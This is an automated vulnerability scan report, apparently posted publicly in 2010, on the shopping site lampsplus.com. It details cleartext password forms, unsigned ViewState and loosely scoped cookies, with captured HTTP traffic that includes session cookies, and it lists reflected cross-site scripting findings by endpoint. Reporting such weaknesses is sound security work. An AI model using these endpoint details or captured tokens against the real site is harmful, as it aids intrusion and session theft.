lampsplus.com, XSS, Cross Site Scripting, CWE-79, CAPEC-86

Cross Site Scripting in lampsplus.com | vulnerability Crawler Report

Report generated by XSS.CX at Mon Dec 27 10:34:48 CST 2010.


Contents

1. Cleartext submission of password


Contents

Loading

2. ASP.NET ViewState without MAC enabled

2.1. http://www.lampsplus.com/cart/Add-To-Cart.aspx

2.2. http://www.lampsplus.com/design-it/Pattern-Colorize.aspx

2.3. http://www.lampsplus.com/portfolio/default.aspx

3. Cookie scoped to parent domain

3.1. http://www.lampsplus.com/Orders/json/CartQuantitiesJson.aspx

3.2. http://www.lampsplus.com/Portfolio/json/CurrentPortfolioJson.aspx

3.3. http://www.lampsplus.com/cart/Add-To-Cart.aspx

3.4. http://www.lampsplus.com/design-it/Pattern-Colorize.aspx

3.5. http://www.lampsplus.com/htmls/cart/add.aspx

3.6. http://www.lampsplus.com/portfolio/default.aspx

3.7. http://www.lampsplus.com/products/Linair-Plasma-TV-Entertainment-Console__F6506.html

3.8. http://www.lampsplus.com/products/onsale_view-on-sale-items/category_chandeliers/

3.9. http://www.lampsplus.com/products/s_contemporary-transitional-espresso-wood-wood-veneer-entertainment-centers-tv-solutions/category_cabinets-and-storage/

4. Password field with autocomplete enabled

5. Source code disclosure

6. Cross-site scripting (reflected)

6.1. http://www.lampsplus.com/htmls/cart/add.aspx [SiteClarity_f6506 cookie]

6.2. http://www.lampsplus.com/htmls/cart/shoppingcart.aspx [SiteClarity_f6506 cookie]

6.3. http://www.lampsplus.com/products/Linair-Plasma-TV-Entertainment-Console__F6506.html [QureyStringParameters cookie]

7. Referer-dependent response

8. Cross-domain script include

8.1. http://www.lampsplus.com/htmls/cart/shoppingcart.aspx

8.2. http://www.lampsplus.com/products/Linair-Plasma-TV-Entertainment-Console__F6506.html

8.3. http://www.lampsplus.com/products/onsale_view-on-sale-items/category_chandeliers/

8.4. http://www.lampsplus.com/products/s_contemporary-transitional-espresso-wood-wood-veneer-entertainment-centers-tv-solutions/category_cabinets-and-storage/

9. Cookie without HttpOnly flag set

9.1. http://www.lampsplus.com/Orders/json/CartQuantitiesJson.aspx

9.2. http://www.lampsplus.com/Portfolio/json/CurrentPortfolioJson.aspx

9.3. http://www.lampsplus.com/cart/Add-To-Cart.aspx

9.4. http://www.lampsplus.com/design-it/Pattern-Colorize.aspx

9.5. http://www.lampsplus.com/htmls/cart/GetYouMayAlsoLikeItems.aspx

9.6. http://www.lampsplus.com/htmls/cart/add.aspx

9.7. http://www.lampsplus.com/portfolio/default.aspx

9.8. http://www.lampsplus.com/products/Linair-Plasma-TV-Entertainment-Console__F6506.html

9.9. http://www.lampsplus.com/products/Linair-Plasma-TV-Entertainment-Console__F6506.html

9.10. http://www.lampsplus.com/products/onsale_view-on-sale-items/category_chandeliers/

9.11. http://www.lampsplus.com/products/s_contemporary-transitional-espresso-wood-wood-veneer-entertainment-centers-tv-solutions/category_cabinets-and-storage/

10. Email addresses disclosed

11. Multiple content types specified

12. HTML does not specify charset

12.1. http://www.lampsplus.com/htmls/fancomparisonchart/openwindow.asp

12.2. http://www.lampsplus.com/htmls/projects/manage.asp

13. Content type incorrectly stated

13.1. http://www.lampsplus.com/Orders/json/CartQuantitiesJson.aspx

13.2. http://www.lampsplus.com/Portfolio/json/CurrentPortfolioJson.aspx

13.3. http://www.lampsplus.com/htmls/cart/add.aspx



1. Cleartext submission of password  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.lampsplus.com
Path:   /htmls/cart/shoppingcart.aspx

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:The form contains the following password fields:

Issue background

Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defense and monitor the traffic passing through switches.

Issue remediation

The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.

Request

GET /htmls/cart/shoppingcart.aspx HTTP/1.1
Host: www.lampsplus.com
Proxy-Connection: keep-alive
Referer: http://www.lampsplus.com/cart/Add-To-Cart.aspx?qty=1&ms=1293373423693
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CMCookieFooterVendor=BCME-SH; CMCookieFooterCategory=Cabinets%20and%20Storage; CMCookieFooterPlacement=Cabinets%20and%20Storage; CMCookieFooterItem=F6506; GUID=917b51e2-22e5-4314-8874-93fc786f91fe; source=DFBCMEF6506; SiteClarity_f6506=shortsku=f6506&categoryid=55&categoryname=cabinets+and+storage&styleid=13&stylename=contemporary; QureyStringParameters=; lpqs_sd=False; __utmz=116051099.1293373357.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=116051099.234523245.1293373357.1293373357.1293373357.1; __utmc=116051099; __utmb=116051099.1.10.1293373357; cid=20101226062301596; ASP.NET_SessionId=hlnweb45azhifu45evtsxk2a; portid=00000000-0000-0000-0000-000000000000; ATC-AddedItems-ShortSKUs=F6506; CoreAt=90065468=1|1|0|0|0|0|0|1|0|0|0|0|1|1293373360||&; cmRS=&t1=1293373357153&t2=-1&t3=1293373422001&lti=1293373422000&ln=&hr=%23&fti=&fn=Products%3A0%3BUNDEFINED%3A1%3B&ac=&fd=&uer=&fu=&pi=Product%3A%20Linair%20Plasma%20TV%20Entertainment%20Console%20%28F6506%29&ho=www9.lampsplus.com/cm%3F&ci=90065468; custid=178857560152101226; frompage=; ATC-YouMayAlsoLikeItems-ShortSKUs=F6466,87534-45518,F9542-G4269; ATC-AddedItems-ShortSKUs=F6506; ATC-YouMayAlsoLikeItems-ShortSKUs=F6466,87534-45518,F9542-G4269

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=us-ascii
Server: Microsoft-IIS/7.5
X-AspNet-Version: 1.1.4322
X-Powered-By: ASP.NET
Vary: Accept-Encoding
Expires: Sun, 26 Dec 2010 14:24:12 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sun, 26 Dec 2010 14:24:12 GMT
Connection: close
Content-Length: 105738


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <title>Lamps Plus S
...[SNIP]...
</div>

           <form name="shoppingCart" method="post" action="shoppingcart.aspx" id="shoppingCart" language="javascript" onsubmit="return shoppingCart_onsubmit()">
<input type="hidden" name="StaticPostBackScrollVerticalPosition" value="0" />
...[SNIP]...
<td>
                               <input id="passName" type="password" maxlength="30" size="30" name="passName" /></td>
...[SNIP]...
<td>
                               <input id="pass" type="password" maxlength="15" size="10" name="pass" onkeydown="checkForEnterPassword()" /></td>
...[SNIP]...

2. ASP.NET ViewState without MAC enabled  previous  next
There are 3 instances of this issue:

Issue description

The ViewState is a mechanism built in to the ASP.NET platform for persisting elements of the user interface and other data across successive requests. The data to be persisted is serialised by the server and transmitted via a hidden form field. When it is POSTed back to the server, the ViewState parameter is deserialised and the data is retrieved.

By default, the serialised value is signed by the server to prevent tampering by the user; however, this behaviour can be disabled by setting the Page.EnableViewStateMac property to false. If this is done, then an attacker can modify the contents of the ViewState and cause arbitrary data to be deserialised and processed by the server. If the ViewState contains any items that are critical to the server's processing of the request, then this may result in a security exposure.

You should review the contents of the deserialised ViewState to determine whether it contains any critical items that can be manipulated to attack the application.

Issue remediation

There is no good reason to disable the default ASP.NET behaviour in which the ViewState is signed to prevent tampering. To ensure that this occurs, you should set the Page.EnableViewStateMac property to true on any pages where the ViewState is not currently signed.


2.1. http://www.lampsplus.com/cart/Add-To-Cart.aspx  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.lampsplus.com
Path:   /cart/Add-To-Cart.aspx

Request

GET /cart/Add-To-Cart.aspx?qty=1&ms=1293373423693 HTTP/1.1
Host: www.lampsplus.com
Proxy-Connection: keep-alive
Referer: http://www.lampsplus.com/products/Linair-Plasma-TV-Entertainment-Console__F6506.html
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CMCookieFooterVendor=BCME-SH; CMCookieFooterCategory=Cabinets%20and%20Storage; CMCookieFooterPlacement=Cabinets%20and%20Storage; CMCookieFooterItem=F6506; GUID=917b51e2-22e5-4314-8874-93fc786f91fe; source=DFBCMEF6506; SiteClarity_f6506=shortsku=f6506&categoryid=55&categoryname=cabinets+and+storage&styleid=13&stylename=contemporary; QureyStringParameters=; lpqs_sd=False; __utmz=116051099.1293373357.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=116051099.234523245.1293373357.1293373357.1293373357.1; __utmc=116051099; __utmb=116051099.1.10.1293373357; cid=20101226062301596; ASP.NET_SessionId=hlnweb45azhifu45evtsxk2a; portid=00000000-0000-0000-0000-000000000000; ATC-AddedItems-ShortSKUs=F6506; CoreAt=90065468=1|1|0|0|0|0|0|1|0|0|0|0|1|1293373360||&; cmRS=&t1=1293373357153&t2=-1&t3=1293373422001&lti=1293373422000&ln=&hr=%23&fti=&fn=Products%3A0%3BUNDEFINED%3A1%3B&ac=&fd=&uer=&fu=&pi=Product%3A%20Linair%20Plasma%20TV%20Entertainment%20Console%20%28F6506%29&ho=www9.lampsplus.com/cm%3F&ci=90065468; custid=178857560152101226; frompage=; ATC-YouMayAlsoLikeItems-ShortSKUs=F6466,87534-45518,F9542-G4269

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=us-ascii
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Vary: Accept-Encoding
Expires: Sun, 26 Dec 2010 14:24:09 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sun, 26 Dec 2010 14:24:09 GMT
Connection: close
Set-Cookie: ATC-AddedItems-ShortSKUs=F6506; domain=.lampsplus.com; expires=Sun, 26-Dec-2010 14:24:09 GMT; path=/
Set-Cookie: ATC-YouMayAlsoLikeItems-ShortSKUs=F6466,87534-45518,F9542-G4269; domain=.lampsplus.com; expires=Sun, 26-Dec-2010 14:24:09 GMT; path=/
Content-Length: 4483


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head><title>
   Add To Cart
...[SNIP]...
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKLTI3MjE2ODc4N2Rk" />
...[SNIP]...

2.2. http://www.lampsplus.com/design-it/Pattern-Colorize.aspx  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.lampsplus.com
Path:   /design-it/Pattern-Colorize.aspx

Request

GET /design-it/Pattern-Colorize.aspx HTTP/1.1
Host: www.lampsplus.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: hs_basket=337~F6506|; GUID=917b51e2-22e5-4314-8874-93fc786f91fe; lpqs_sd=False; ATC-AddedItems-ShortSKUs=F6506; portid=00000000-0000-0000-0000-000000000000; SiteClarity_f6506=shortsku=f6506&categoryid=55&categoryname=cabinets+and+storage&styleid=13&stylename=contemporary; CMCookieFooterPlacement=Cabinets%20and%20Storage; CoreAt=90065468=1|2|0|0|0|1|0|1|0|0|0|0|1|1293373360||&; frompage=; remarketing_return=1293373428457; ATC-YouMayAlsoLikeItems-ShortSKUs=F6466,87534-45518,F9542-G4269; CMCookieFooterCategory=Cabinets%20and%20Storage; CMCookieFooterItem=F6506; cmTPSet=Y; __utma=116051099.234523245.1293373357.1293373357.1293373357.1; __utmc=116051099; ASP.NET_SessionId=hlnweb45azhifu45evtsxk2a; __utmb=116051099.2.10.1293373357; custid=178857560152101226; CMCookieFooterVendor=BCME-SH; cmRS=&t1=1293373357153&t2=-1&t3=1293373422001&lti=1293373422000&ln=&hr=%23&fti=&fn=Products%3A0%3BUNDEFINED%3A1%3B&ac=&fd=&uer=&fu=&pi=Product%3A%20Linair%20Plasma%20TV%20Entertainment%20Console%20%28F6506%29&ho=www9.lampsplus.com/cm%3F&ci=90065468; __utmz=116051099.1293373357.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); QureyStringParameters=; cid=20101226062301596; F6506=1|999.91|131~Linair+Plasma+TV+Entertainment+Console~1012~F6506~1007~http%3a%2f%2fimage.lampsplus.com%2fis%2fimage%2fF6506.fpx%3fqlt%3d75%26wid%3d85%26hei%3d85%26fmt%3djpeg~1113~55~1112~cabinets+and+storage~1138~13~1139~contemporary; source=DFBCMEF6506;

Response

HTTP/1.1 302 Moved Temporarily
Content-Length: 70729
Content-Type: text/html; charset=us-ascii
Location: /design-it/pattern.aspx
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Expires: Sun, 26 Dec 2010 14:32:48 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sun, 26 Dec 2010 14:32:48 GMT
Connection: close
Set-Cookie: error=session expired; domain=.lampsplus.com; path=/
Set-Cookie: lpcoremetricscid=105; domain=.lampsplus.com; path=/

<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="%2fdesign-it%2fpattern.aspx">here</a>.</h2>
</body></html>


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transit
...[SNIP]...
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKMTg4MDUyODI5MA9kFgJmD2QWAmYPZBYCAgEPZBYEAgEPZBYGAgEPDxYCHgdWaXNpYmxlaGRkAgIPFgIfAGhkAgMPFgIeBFRleHQF4wcNCiAgICAgICAgPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPmZ1bmN0aW9uIGZuY1BhcmVudENhdGVnb3J5U2hvd0hvdmVyU3RhdGUoc3RyVG9wTGV2ZWxDYXRlZ29yeSl7CWlmKHN0clRvcExldmVsQ2F0ZWdvcnkgIT0gJycpCXsJCXZhciBzdHJUb3BOYXZJRCA9ICIiOwkJc3dpdGNoKHN0clRvcExldmVsQ2F0ZWdvcnkpCQl7CQkJY2FzZSAnY2VpbGluZ0xpZ2h0aW5nJzoJCQkJc3RyVG9wTmF2SUQgPSAnYUNlaWxpbmdMaWdodHMnOwkJCWJyZWFrO2Nhc2UgJ2Zsb29yJzoJCQkJc3RyVG9wTmF2SUQgPSAnYUZsb29yTGFtcHMnOwkJCWJyZWFrOwkJCWNhc2UgJ2xhbXBzJzoJCQkJc3RyVG9wTmF2SUQgPSAnYUxhbXBzJzsJCQlicmVhazsJCQljYXNlICd3YWxsTGlnaHRzJzoJCQkJc3RyVG9wTmF2SUQgPSAnYVdhbGxMaWdodHMnOwkJCWJyZWFrOwkJCWNhc2UgJ291dGRvb3InOgkJCQlzdHJUb3BOYXZJRCA9ICdhT3V0ZG9vckxpZ2h0cyc7CQkJYnJlYWs7CQkJY2FzZSAnZmFucyc6CQkJCXN0clRvcE5hdklEID0gJ2FDZWlsaW5nRmFucyc7CQkJYnJlYWs7Y2FzZSAnbW9yZSc6CQkJCXN0clRvcE5hdklEID0gJ2FNb3JlJzsJCQlicmVhazsJCQljYXNlICdvdGhlcic6CQkJCXN0clRvcE5hdklEID0gJ2FPdGhlcnMnOwkJCWJyZWFrOwkJCWNhc2UgJ2Jlc3QnOgkJCQlzdHJUb3BOYXZJRCA9ICdhQmVzdFNlbGxlcnMnOwkJCWJyZWFrOwkJCWNhc2UgJ2Z1cm5pdHVyZSc6CQkJCXN0clRvcE5hdklEID0gJ2FGdXJuaXR1cmUnOwkJCWJyZWFrOwkJCWNhc2UgJ2hvbWVEZWNvcic6CQkJCXN0clRvcE5hdklEID0gJ2FEZWNvcic7CQkJYnJlYWs7CQl9CX0JdmFyIG9ialRvcE5hdkVsZW1lbnQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChzdHJUb3BOYXZJRCk7CWlmKG9ialRvcE5hdkVsZW1lbnQhPW51bGwpCXsJICAgIG9ialRvcE5hdkVsZW1lbnQuc2V0QXR0cmlidXRlKCJjbGFzcyIsICJhTmF2QnRuIGhvdmVyIik7IAl9fQ0KICAgIDwvc2NyaXB0PmQCAw9kFgYCAQ8PFgIfAGhkZAICDw8WAh8AZ2RkAgQPFgIfAQV5PCEtLSBGcmFtZUJyZWFrZXIgQ29kZSBPbi4gLS0+DQo8c2NyaXB0IGxhbmd1YWdlPSdqYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cubGFtcHNwbHVzLmNvbS9qcy9mcmFtZWJyZWFrZXIuanMnPjwvc2NyaXB0PmQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgIFPGN0bDAwJGN0bDAwJGN0bENvbW1vbkhlYWRlcnMkY3RsRGV2SGVhZGVyJExvZ2luU3RhdHVzMSRjdGwwMQU8Y3RsMDAkY3RsMDAkY3RsQ29tbW9uSGVhZGVycyRjdGxEZXZIZWFkZXIkTG9naW5TdGF0dXMxJGN0bDAz" />
...[SNIP]...

2.3. http://www.lampsplus.com/portfolio/default.aspx  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.lampsplus.com
Path:   /portfolio/default.aspx

Request

GET /portfolio/default.aspx HTTP/1.1
Host: www.lampsplus.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: hs_basket=337~F6506|; GUID=917b51e2-22e5-4314-8874-93fc786f91fe; lpqs_sd=False; ATC-AddedItems-ShortSKUs=F6506; portid=00000000-0000-0000-0000-000000000000; SiteClarity_f6506=shortsku=f6506&categoryid=55&categoryname=cabinets+and+storage&styleid=13&stylename=contemporary; CMCookieFooterPlacement=Cabinets%20and%20Storage; CoreAt=90065468=1|2|0|0|0|1|0|1|0|0|0|0|1|1293373360||&; frompage=; remarketing_return=1293373428457; ATC-YouMayAlsoLikeItems-ShortSKUs=F6466,87534-45518,F9542-G4269; CMCookieFooterCategory=Cabinets%20and%20Storage; CMCookieFooterItem=F6506; cmTPSet=Y; __utma=116051099.234523245.1293373357.1293373357.1293373357.1; __utmc=116051099; ASP.NET_SessionId=hlnweb45azhifu45evtsxk2a; __utmb=116051099.2.10.1293373357; custid=178857560152101226; CMCookieFooterVendor=BCME-SH; cmRS=&t1=1293373357153&t2=-1&t3=1293373422001&lti=1293373422000&ln=&hr=%23&fti=&fn=Products%3A0%3BUNDEFINED%3A1%3B&ac=&fd=&uer=&fu=&pi=Product%3A%20Linair%20Plasma%20TV%20Entertainment%20Console%20%28F6506%29&ho=www9.lampsplus.com/cm%3F&ci=90065468; __utmz=116051099.1293373357.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); QureyStringParameters=; cid=20101226062301596; F6506=1|999.91|131~Linair+Plasma+TV+Entertainment+Console~1012~F6506~1007~http%3a%2f%2fimage.lampsplus.com%2fis%2fimage%2fF6506.fpx%3fqlt%3d75%26wid%3d85%26hei%3d85%26fmt%3djpeg~1113~55~1112~cabinets+and+storage~1138~13~1139~contemporary; source=DFBCMEF6506;

Response

HTTP/1.1 200 OK
Content-Length: 80093
Content-Type: text/html; charset=us-ascii
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Expires: Sun, 26 Dec 2010 14:33:18 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sun, 26 Dec 2010 14:33:18 GMT
Connection: close
Set-Cookie: MyPortfolioView=standard; domain=.lampsplus.com; path=/
Set-Cookie: lpcoremetricscid=116; domain=.lampsplus.com; path=/


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head id="ctl00_Head1"><t
...[SNIP]...
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKMTUxNDU1MzcwMw9kFgJmD2QWAgIBD2QWBgIBD2QWBgIBDw8WAh4HVmlzaWJsZWhkZAICDxYCHwBoZAIDDxYCHgRUZXh0BeMHDQogICAgICAgIDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij5mdW5jdGlvbiBmbmNQYXJlbnRDYXRlZ29yeVNob3dIb3ZlclN0YXRlKHN0clRvcExldmVsQ2F0ZWdvcnkpewlpZihzdHJUb3BMZXZlbENhdGVnb3J5ICE9ICcnKQl7CQl2YXIgc3RyVG9wTmF2SUQgPSAiIjsJCXN3aXRjaChzdHJUb3BMZXZlbENhdGVnb3J5KQkJewkJCWNhc2UgJ2NlaWxpbmdMaWdodGluZyc6CQkJCXN0clRvcE5hdklEID0gJ2FDZWlsaW5nTGlnaHRzJzsJCQlicmVhaztjYXNlICdmbG9vcic6CQkJCXN0clRvcE5hdklEID0gJ2FGbG9vckxhbXBzJzsJCQlicmVhazsJCQljYXNlICdsYW1wcyc6CQkJCXN0clRvcE5hdklEID0gJ2FMYW1wcyc7CQkJYnJlYWs7CQkJY2FzZSAnd2FsbExpZ2h0cyc6CQkJCXN0clRvcE5hdklEID0gJ2FXYWxsTGlnaHRzJzsJCQlicmVhazsJCQljYXNlICdvdXRkb29yJzoJCQkJc3RyVG9wTmF2SUQgPSAnYU91dGRvb3JMaWdodHMnOwkJCWJyZWFrOwkJCWNhc2UgJ2ZhbnMnOgkJCQlzdHJUb3BOYXZJRCA9ICdhQ2VpbGluZ0ZhbnMnOwkJCWJyZWFrO2Nhc2UgJ21vcmUnOgkJCQlzdHJUb3BOYXZJRCA9ICdhTW9yZSc7CQkJYnJlYWs7CQkJY2FzZSAnb3RoZXInOgkJCQlzdHJUb3BOYXZJRCA9ICdhT3RoZXJzJzsJCQlicmVhazsJCQljYXNlICdiZXN0JzoJCQkJc3RyVG9wTmF2SUQgPSAnYUJlc3RTZWxsZXJzJzsJCQlicmVhazsJCQljYXNlICdmdXJuaXR1cmUnOgkJCQlzdHJUb3BOYXZJRCA9ICdhRnVybml0dXJlJzsJCQlicmVhazsJCQljYXNlICdob21lRGVjb3InOgkJCQlzdHJUb3BOYXZJRCA9ICdhRGVjb3InOwkJCWJyZWFrOwkJfQl9CXZhciBvYmpUb3BOYXZFbGVtZW50ID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoc3RyVG9wTmF2SUQpOwlpZihvYmpUb3BOYXZFbGVtZW50IT1udWxsKQl7CSAgICBvYmpUb3BOYXZFbGVtZW50LnNldEF0dHJpYnV0ZSgiY2xhc3MiLCAiYU5hdkJ0biBob3ZlciIpOyAJfX0NCiAgICA8L3NjcmlwdD5kAgIPZBYIAgIPDxYCHwFkZGQCAw8PFgQeCEltYWdlVXJsBURodHRwOi8vd3d3LmxhbXBzcGx1cy5jb20vcG9ydGZvbGlvL2ltYWdlcy9wb3J0Zm9saW8vYnV5LXNlbGVjdGVkLmdpZh4LUG9zdEJhY2tVcmwFLGh0dHA6Ly93d3cubGFtcHNwbHVzLmNvbS9odG1scy9jYXJ0L2FkZC5hc3B4ZGQCBA8WAh8AaGQCBQ8WAh4LXyFJdGVtQ291bnQCARYCZg9kFgpmDxYCHwQCBBYIZg9kFgICAQ8PFgQeCENzc0NsYXNzBRBwcm9kdWN0SW1hZ2VsZWZ0HgRfIVNCAgJkFgRmDw8WAh4LTmF2aWdhdGVVcmwFImh0dHA6Ly93d3cubGFtcHNwbHVzLmNvbS9wcm9kdWN0cy9kZAIBDw8WAh8AaGRkAgEPZBYCAgEPDxYEHwUFDHByb2R1Y3RJbWFnZR8GAgJkFgRmDw8WAh8HBSJodHRwOi8vd3d3LmxhbXBzcGx1cy5jb20vcHJvZHVjdHMvZGQCAQ8PFgIfAGhkZAICD2QWAgIBDw8WBB8FBQxwcm9kdWN0SW1hZ2UfBgICZBYEZg8PFgIfBwUiaHR0cDovL3d3dy5sYW1wc3BsdXMuY29tL3Byb2R1Y3RzL2RkAgEPDxYCHwBoZGQCAw9kFgICAQ8PFgQfBQURcHJvZHVjdEltYWdlcmlnaHQfBgICZBYEZg8PFgIfBwUiaHR0cDovL3d3dy5sYW1wc3BsdXMuY29tL3Byb2R1Y3RzL2RkAgEPDxYCHwBoZGQCAQ8WAh8EAgQWCGYPZBYCAgEPDxYCHwBoZGQCAQ9kFgICAQ8PFgIfAGhkZAICD2QWAgIBDw8WAh8AaGRkAgMPZBYCAgEPDxYCHwBoZGQCAg8WAh8EAgQWCGYPZBYGAgEPDxYCHwBoZGQCAw8WAh8AaGQCBQ8WAh8AaGQCAQ9kFgYCAQ8PFgIfAGhkZAIDDxYCHwBoZAIFDxYCHwBoZAICD2QWBgIBDw8WAh8AaGRkAgMPFgIfAGhkAgUPFgIfAGhkAgMPZBYGAgEPDxYCHwBoZGQCAw8WAh8AaGQCBQ8WAh8AaGQCAw8WAh8EAgQWCGYPZBYCAgEPDxYEHwUFFHNlbGVjdEFub3RoZXJQcm9kdWN0HwYCAmQWAmYPFgIfAGhkAgEPZBYCAgEPDxYEHwUFFHNlbGVjdEFub3RoZXJQcm9kdWN0HwYCAmQWAmYPFgIfAGhkAgIPZBYCAgEPDxYEHwUFFHNlbGVjdEFub3RoZXJQcm9kdWN0HwYCAmQWAmYPFgIfAGhkAgMPZBYCAgEPDxYEHwUFFHNlbGVjdEFub3RoZXJQcm9kdWN0HwYCAmQWAmYPFgIfAGhkAgQPFgIfBAIEFghmD2QWAgIBDxYCHwBoFgJmDxAPFgIfAGhkZGRkAgEPZBYCAgEPFgIfAGgWAmYPEA8WAh8AaGRkZGQCAg9kFgICAQ8WAh8AaBYCZg8QDxYCHwBoZGRkZAIDD2QWAgIBDxYCHwBoFgJmDxAPFgIfAGhkZGRkAgMPZBYGAgEPDxYCHwBoZGQCAg8PFgIfAGdkZAIEDxYCHwEFeTwhLS0gRnJhbWVCcmVha2VyIENvZGUgT24uIC0tPg0KPHNjcmlwdCBsYW5ndWFnZT0namF2YXNjcmlwdCcgc3JjPSdodHRwOi8vd3d3LmxhbXBzcGx1cy5jb20vanMvZnJhbWVicmVha2VyLmpzJz48L3NjcmlwdD5kGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYDBTZjdGwwMCRjdGxDb21tb25IZWFkZXJzJGN0bERldkhlYWRlciRMb2dpblN0YXR1czEkY3RsMDEFNmN0bDAwJGN0bENvbW1vbkhlYWRlcnMkY3RsRGV2SGVhZGVyJExvZ2luU3RhdHVzMSRjdGwwMwUeY3RsMDAkTWFpbkNvbnRlbnQkYnRuQWRkVG9DYXJ0" />
...[SNIP]...

3. Cookie scoped to parent domain  previous  next
There are 9 instances of this issue:

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.


3.1. http://www.lampsplus.com/Orders/json/CartQuantitiesJson.aspx  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.lampsplus.com
Path:   /Orders/json/CartQuantitiesJson.aspx

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /Orders/json/CartQuantitiesJson.aspx?ms=1293373357012 HTTP/1.1
Host: www.lampsplus.com
Proxy-Connection: keep-alive
Referer: http://www.lampsplus.com/products/Linair-Plasma-TV-Entertainment-Console__F6506.html
X-Requested-With: XMLHttpRequest
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
